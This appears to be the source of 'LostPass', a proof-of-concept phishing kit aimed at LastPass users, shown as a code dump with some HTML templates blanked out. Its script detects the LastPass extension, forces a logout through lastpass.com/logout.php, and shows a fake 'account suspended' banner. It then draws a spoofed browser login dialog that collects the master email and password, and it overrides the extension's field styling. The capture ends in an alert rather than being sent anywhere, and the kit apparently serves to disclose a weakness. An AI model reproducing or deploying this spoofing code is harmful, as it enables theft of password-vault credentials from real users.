2 |
3 |
4 | LastPass Master Login
5 |
6 |
7 |
27 |
28 |
--------------------------------------------------------------------------------
/src/lostpass.html:
--------------------------------------------------------------------------------
1 |
2 |
Test HTML!
3 |
4 |
--------------------------------------------------------------------------------
/src/lostpass.js:
--------------------------------------------------------------------------------
1 | var chromeHTML = <%= assets.chrome.html %>;
2 | var chromeCSS = <%= assets.chrome.css %>;
3 |
4 | var firefoxHTML = <%= assets.firefox.html %>;
5 | var firefoxCSS = <%= assets.firefox.css %>;
6 |
7 | var firefoxLoginOSXHTML = <%= assets.firefox_login.html.osx %>;
8 | var firefoxLoginWinHTML = <%= assets.firefox_login.html.win %>;
9 | var firefoxLoginCSS = <%= assets.firefox_login.css %>;
10 |
11 | var lpDetectFormHTML =
12 | '
';
19 |
20 | var messageMarker = "XX_MESSAGE_XX";
21 | var buttonMarker = "XX_BUTTON_XX";
22 |
23 | var defaultMessage = "Your account has been temporarily suspended (for 5 minutes) because of too many login attempt failures."
24 | var defaultButton = "Recover Account";
25 |
26 | var retryMessage = "Invalid password.";
27 | var retryButton = "Try Again";
28 |
29 | function lastPassIsInstalled() {
30 | var username = document.getElementById("lpdetectusername");
31 | var style = username.getAttribute("style");
32 | return (style != null && style.indexOf("background-image") > -1);
33 | }
34 |
35 | function detectBrowser() {
36 | var ua= navigator.userAgent, tem,
37 | M= ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || [];
38 | if(/trident/i.test(M[1])){
39 | tem= /\brv[ :]+(\d+)/g.exec(ua) || [];
40 | return 'IE '+(tem[1] || '');
41 | }
42 | if(M[1]=== 'Chrome'){
43 | tem= ua.match(/\b(OPR|Edge)\/(\d+)/);
44 | if(tem!= null) return tem.slice(1).join(' ').replace('OPR', 'Opera');
45 | }
46 | M= M[2]? [M[1], M[2]]: [navigator.appName, navigator.appVersion, '-?'];
47 | if((tem= ua.match(/version\/(\d+)/i))!= null) M.splice(1, 1, tem[1]);
48 |
49 | var result = M.join(' ');
50 | return result;
51 | }
52 |
53 | function skipBanner() {
54 | return window.location.href.indexOf("?y") > -1;
55 | }
56 |
57 | function invalidPassword() {
58 | return window.location.href.indexOf("?n") > -1;
59 | }
60 |
61 | function lpInit() {
62 | document.body.insertAdjacentHTML('beforeend', lpDetectFormHTML);
63 |
64 | window.setTimeout(function() {
65 | if (lastPassIsInstalled() && !skipBanner()) {
66 | // Logout the user if they're logged in
67 | var logoutScript = document.createElement('script');
68 | logoutScript.setAttribute('src', "https://lastpass.com/logout.php");
69 | document.body.appendChild(logoutScript);
70 |
71 | var browser = detectBrowser();
72 |
73 | console.log("LostPass: detected ", browser);
74 | if (browser.startsWith("Chrome")) {
75 | // Add the style tag to
76 | var style = document.createElement('style');
77 | style.innerHTML = chromeCSS;
78 | document.head.appendChild(style);
79 |
80 | // Add the banner
81 | var finalHtml;
82 | if (invalidPassword()) {
83 | finalHtml = chromeHTML.replace(messageMarker, retryMessage).replace(buttonMarker, retryButton);
84 | } else {
85 | finalHtml = chromeHTML.replace(messageMarker, defaultMessage).replace(buttonMarker, defaultButton);
86 | }
87 | document.body.insertAdjacentHTML('afterbegin', finalHtml);
88 |
89 | // Make the "X" close the banner
90 | var x = document.getElementById("lphideoverlay");
91 | x.onclick = function() {
92 | var banner = document.getElementById("lastpass-notification");
93 | banner.setAttribute("style","visibility:hidden");
94 | };
95 | } else if (browser.startsWith("Firefox")) {
96 | var style = document.createElement('style');
97 | style.innerHTML = firefoxCSS;
98 | document.head.appendChild(style);
99 |
100 | ffShowBanner();
101 | } else {
102 | console.log("LostPass: unknown browser ", browser);
103 | }
104 | } else {
105 | console.log("LostPass: LastPass is not installed");
106 | }
107 | }, 500);
108 | }
109 |
110 | function ffShowBanner() {
111 | // Add the banner
112 | document.body.insertAdjacentHTML('afterbegin', firefoxHTML);
113 |
114 | // Make the "X" close the banner
115 | var x = document.getElementById("lphideoverlay");
116 | x.onclick = ffHideBanner;
117 | }
118 |
119 | function ffHideBanner() {
120 | var banner = document.getElementById("lastpass-notification");
121 | banner.parentNode.removeChild(banner);
122 | }
123 |
124 | function ffOnClick() {
125 | ffHideBanner();
126 |
127 | // Add the login form style
128 | var style = document.createElement('style');
129 | style.innerHTML = firefoxLoginCSS;
130 | document.head.appendChild(style);
131 |
132 | // Add the login form
133 | var closefunc = function() {
134 | // Need to hide after the animation otherwise it will reappear
135 | login.addEventListener("animationend", function() {
136 | login.style.visibility = "hidden";
137 | }, false);
138 |
139 | if (animate === "Windows") {
140 | console.log("Windows fadeout");
141 | login.style.animationName = "fadeout";
142 | } else {
143 | login.style.animationName = "slideout";
144 | }
145 | };
146 | var animate;
147 | if (navigator.appVersion.indexOf("Win") != -1) {
148 | console.log("Detected Windows");
149 | document.body.insertAdjacentHTML('afterbegin', firefoxLoginWinHTML);
150 | var login = document.getElementById("lpfirefoxlogin");
151 | var closers = document.getElementsByClassName("lpclose");
152 | console.log("Closers ", closers);
153 | for(var i = 0; i < closers.length; i++) {
154 | var closer = closers[i];
155 | closer.onclick = closefunc;
156 | }
157 | interact('div.spacer')
158 | .draggable({
159 | autoScroll:false,
160 | onmove: function (event) {
161 | // keep the dragged position in the data-x/data-y attributes
162 | var target = login;
163 | var x = (parseFloat(target.getAttribute('data-x')) || 0) + event.dx;
164 | var y = (parseFloat(target.getAttribute('data-y')) || 0) + event.dy;
165 |
166 | // translate the element
167 | target.style.webkitTransform =
168 | target.style.transform =
169 | 'translate(' + x + 'px, ' + y + 'px)';
170 |
171 | // update the posiion attributes
172 | target.setAttribute('data-x', x);
173 | target.setAttribute('data-y', y);
174 | }
175 | });
176 | animate = "Windows";
177 | } else {
178 | console.log("Detected Other");
179 | document.body.insertAdjacentHTML('afterbegin', firefoxLoginOSXHTML);
180 | var login = document.getElementById("lpfirefoxlogin");
181 |
182 | // Make close work
183 | var close = document.getElementById("lpcancel");
184 | close.onclick = closefunc;
185 |
186 | animate = "Other";
187 | }
188 |
189 | // Make remember email work
190 | var rememberemail = document.getElementById("rememberemail");
191 | rememberemail.onclick = function() {
192 | var rememberPasswordCheckbox = document.getElementById("rememberpassword");
193 | rememberPasswordCheckbox.disabled = !rememberemail.checked;
194 | };
195 |
196 |
197 | // Make login work
198 | var submit = document.getElementById("lpsubmit");
199 | var emailfield = document.getElementById("lpemail");
200 | var pwfield = document.getElementById("lppassword");
201 | submit.onclick = function() {
202 | var login = document.getElementById("lpfirefoxlogin");
203 |
204 | // Need to hide after the animation otherwise it will reappear
205 | login.addEventListener("animationend", function() {
206 | login.parentNode.removeChild(login);
207 | }, false);
208 |
209 | if (animate === "Windows") {
210 | console.log("Windows fadeout");
211 | login.style.animationName = "fadeout";
212 | } else {
213 | login.style.animationName = "slideout";
214 | }
215 |
216 | var username = emailfield.value;
217 | var password = pwfield.value;
218 | if (tryLogin(username, password)) {
219 | alert("Got " + username + " and " + password);
220 | } else {
221 | ffShowBanner();
222 | }
223 | };
224 |
225 | // Fight LastPass to remove the asterisks
226 | var config = { attributes: true };
227 | var observer = new MutationObserver(function(mutations) {
228 | // If we don't disconnect first, this causes an infinite loop
229 | observer.disconnect();
230 |
231 | emailfield.style = "";
232 | pwfield.style = "";
233 |
234 | // Reconnect
235 | observer.observe(emailfield, config);
236 | observer.observe(pwfield, config);
237 | });
238 | observer.observe(emailfield, config);
239 | observer.observe(pwfield, config);
240 | }
241 |
242 | function tryLogin(username, password) {
243 | // This is obviously a fake function
244 | return password === "correct";
245 | }
246 |
--------------------------------------------------------------------------------
/src/test.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
LostPass Test Page
7 |
8 |
9 |
10 |
Test page
11 |
12 |
This is a test page for testing LostPass.
13 |
This is a test page for testing LostPass.
14 |
This is a test page for testing LostPass.
15 |
This is a test page for testing LostPass.
16 |
This is a test page for testing LostPass.
17 |
This is a test page for testing LostPass.
18 |
19 |
20 |
23 |
24 |
25 |
--------------------------------------------------------------------------------
ERROR: 
SUCCESS: 